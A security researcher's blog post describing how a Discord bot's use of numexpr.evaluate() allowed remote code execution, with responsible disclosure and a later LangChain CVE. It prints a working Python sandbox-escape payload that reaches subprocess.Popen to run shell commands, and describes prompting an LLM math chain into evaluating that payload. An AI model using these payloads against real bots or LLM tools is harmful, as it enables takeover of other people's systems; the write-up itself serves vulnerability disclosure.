Discord Bot Hacking

Jul 8, 2023

10 mins read

In this blog post, I’ll go over how I managed to hack into a Discord bot by discovering and exploiting a vulnerability in its code that gave me RCE (remote code execution) over it. At the end, I’ll describe how the vulnerability I found accidentally made me a contributor to a very cool CVE.

The Bot

The bot in question is Mothball, a bot meant to calculate Minecraft movement. It’s mostly used in the parkour community of the game to help quickly verify if specific jumps in the game are possible. For instance, someone was curious about how far you could jump using a specific setup of ice blocks, and Mothball was used to answer the question in less than a minute:

targets

This had me curious: how does it calculate this answer code-wise if the input is dynamic? A common Python solution is to use the eval() function, but this is super dangerous if used on unsanitized user input. If you don’t know why, it’s because eval() evaluates Python code. You can use it to evalulate simple math expressions like i = int(eval("3+5")), but if you let the user decide what to calculate they could provide __import__('os').system('echo pwned') which as you might infer will execute code on your system. In summary, eval() on user input is a really, really bad idea and I was really, really hoping the bot was doing just that.

Looking for vulnerabilities

Since the source code is public, I did a search for eval in the codebase. That didn’t show up but something close did, evaluate from the numexpr library:

targets

When I first saw this, I was a little disappointed. I hadn’t heard of the numexpr library, but I assumed that its evaluate function was a secure eval() meant for doing math. The library’s documentation doesn’t give any warnings about the function either:

targets

I still decided to check the source code.

        names.update(expressions.functions)
        ex = eval(c, names) # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
        if expressions.isConstant(ex):
            ex = expressions.ConstantNode(ex, expressions.getKind(ex))
        elif not isinstance(ex, expressions.ExpressionNode):
            raise TypeError("unsupported expression type: %s" % type(ex))

It still uses eval()!!

Exploiting the vulnerability

Now we know this function eventually uses an eval(). That’s really good for us, but can we actually exploit that? That is, can we reach this statement with malicious input, or are there protections in place to stop us?

We’ll start off by trying to get an exploit working directly through the evaluate() function. Once we find something that works, we’ll try to get our exploit working through the Discord bot.

My first attempt was to treat the function as if it was a plain eval() statement. I gave it a common eval() exploit payload:

import numexpr
s = """__import__('os').system('echo pwned')"""
print(numexpr.evaluate(s))

As you might guess, this didn’t work. I got a weird error TypeError: 'VariableNode' object is not callable that didn’t have any relevant Google results. So, I dug through the code a little and found the issue:

# 's' is the input string we give
c = compile(s, '<expr>', 'eval', flags)
# make VariableNode's for the names
names = {}
for name in c.co_names: # c.co_names is all names used in the bytecode of our eval statement
	if name == "None":
		names[name] = None
	elif name == "True":
		names[name] = True
	elif name == "False":
		names[name] = False
	else:
		t = types.get(name, default_type)
		names[name] = expressions.VariableNode(name, type_to_kind[t])
names.update(expressions.functions)
# now build the expression
ex = eval(c, names)

Our first ___import___('os')... payload would’ve worked here if eval(c) was ran, but instead eval(c,names) is. That second optional parameter is meant to define the global namespace of the expression being evaluated, like so:

>>> eval("x+1",{"x":1})
2

In context of the program, names is meant to define datatypes of all variables/names used in the evaluation expression: for instance, if you were to run numexpr.evaluate("2*b+5") it would tell eval() that the variable b was a numpy int64. For us, it has an unintentional side effect of disabling any names like __import__ or system because it tells eval they’re variables holding numbers, which then causes eval to error as it thinks you’re trying to call a function from a number. Simply put, the program has accidentally placed us in a pyjail.

pyjailbreak

Luckily for us, this program accidentally disabling builtin names like __import__ or open() is also a common nonaccidental attempt to secure eval(). Even better, it’s known that it doesn’t work. From the blog mentioned, the following string doesn’t use any names but manages to call a function that executes Python bytecode:

import numexpr
bomb = """  
(lambda fc=(  
    lambda n: [  
        c for c in  
            ().__class__.__bases__[0].__subclasses__()  
            if c.__name__ == n  
        ][0]  
    ):  
    fc("function")(  
        fc("code")(  
            0,0,0,0,0,0,b"BOOM",(),(),(),"","","",0,b"",b"",(),()  
        ),{}  
    )()  
)()  
"""  
# this looks super confusing (it is), you can read the linked blog to understand it better (https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
numexpr.evaluate(bomb)

This can be used to get RCE, but it would be pretty annoying to do. I’d have to compile a reverse shell as a CodeObject then grab all the needed values from that object and that just doesn’t sound fun to do. Is there an easier way?

If you dig into the blog post a bit, you’ll notice we can run any function that’s listed in ().__class__.__bases__[0].__subclasses__(). Maybe there’s an easier one in there we can use? If I import the same libraries the discord bot does and print out said variable, something immediately catches my eye:

import numexpr
# a couple more are imported by the bot but they're unnecessary
print(().__class__.__bases__[0].__subclasses__())

# OUTPUT:
# [<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'> ... <snip> ... <class 'subprocess.Popen'>, <class 'numexpr.necompiler.ASTNode'>, <class 'numexpr.necompiler.Register'>, <class '__main__.ExpressionNode'>]

We can call subprocess.Popen? We can easily use that to execute shell commands! Let’s modify our original payload to run that instead:

import numexpr
bomb = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().__class__.__bases__[0].__subclasses__() 
            if c.__name__ == n
        ][0]
    ):
    fc("function")(
        fc("Popen")("echo hi",shell=True),{}
    )()
)()
"""
numexpr.evaluate(bomb)

targets

Nice! We managed to escape the library’s accidental pyjail and got code execution working. Now all we need is to figure out how to send the bot this payload.

Exploiting the bot

Back to the actual bot itself, we have to figure out where the bot uses evaluate(). There are two locations: once in functions.py and another in parsers.py. The latter is in a function called by another function called by another function called by another function, so I’d rather not codetrace that. The former is super short:

@command()
def var(args, name = '', input = ''):
    lowest_env = args['envs'][-1]
    try:
        local_env = {}
        for env in args['envs']:
            local_env.update(env)
        input = evaluate(input, local_dict=local_env)
    except:
        pass
    lowest_env[name] = input

That @command() decorator means that this function is a command you can tell the bot to run. We can confirm this by searching for var inside a server where this bot exists and find an instance of someone using it:

targets

To do some testing, I ran an instance of the bot on my own computer and added a debug print statement so I could see what the input variable was at runtime. I started off by copypasting the command above to make sure everything was working:

targets

This tells us two things:

  • The local bot is working as intended!
  • The second parameter we pass to var() becomes the input variable, aka the one that gets put through evaluate().

Let’s try replacing the second parameter with our malicious payload. I used python-minifier to decrease the payload’s size, and… targets Very nice. From here, we can replace our payload with something slightly more malicious like a reverse shell and get a connection back (to my own computer, since that’s what’s running the bot right now):

targets

If I were to run this payload on the real bot, I would get RCE on the computer running the bot and subsequently be able to hijack the bot.

Post-Exploitation (kinda)

Of course, I didn’t run this on the real bot. That’s cringe. I instead sent the creator a DM warning them of the issue, who thanked me and quickly fixed it. They also thought evaluate() didn’t perform eval(), just like I initially assumed. Because of that, I created an issue on the library’s GitHub page to hopefully get the maintainers to add a warning on the documentation.

On a funny side note, someone made an issue about this exact problem a whole 5 years ago . The maintainer said they weren’t using eval() (they were) and this was actually a CPython issue (it’s not), closing it the same day it was made. We’ll see how my issue goes.

Update

Update: My issue went really well! The maintainer responded very quickly that he agreed and gave some ideas on how to fix the problem. Two weeks later, he introducted a commit that implements a character blacklist to block malicious payloads like mine.

Update 2: Accidentally Becoming a CVE Holder

So as of not-too-long ago, I am now listed in the references of CVE-2023-39631: Prompt Injection to ACE in LangChain AI. Find me a better CVE to put on your resume!

A few weeks after my initial GitHub issue, someone mentioned me in it that they were able to use it to get ACE in LangChain AI. You probably had the same reaction as me, how the hell did the developers screw up this badly to make an AI vulnerable?? They screwed up by trying to make an AI math problem solver. They use the same library as the discord bot, numexpr, to perform calculations:

    def _evaluate_expression(self, expression: str) -> str:
        try:
            local_dict = {"pi": math.pi, "e": math.e}
            output = str(
                numexpr.evaluate(
                    expression.strip(),
                    global_dict={},  # restrict access to globals
                    local_dict=local_dict,  # add common mathematical functions
                )
            )
        except Exception as e:
            raise ValueError(
                f'LLMMathChain._evaluate("{expression}") raised error: {e}.'
                " Please try again with a valid numerical expression"
            )

So that means RCE is as simple as getting the AI to evaluate the malicious payload. Let’s look at some code vulnerable to this CVE:

from langchain import OpenAI, LLMMathChain

llm = OpenAI(temperature=0)
llm_math = LLMMathChain.from_llm(llm)
inp = input("Please ask me a math question!\n> ")
answer = llm_math.run(inp)
print(answer)

We can talk to the AI through the program like so: targets

Now that we know how to talk to it, we just need to do a little prompt engineering to get it to evaluate our malicious payload from before: targets

Sharing is caring!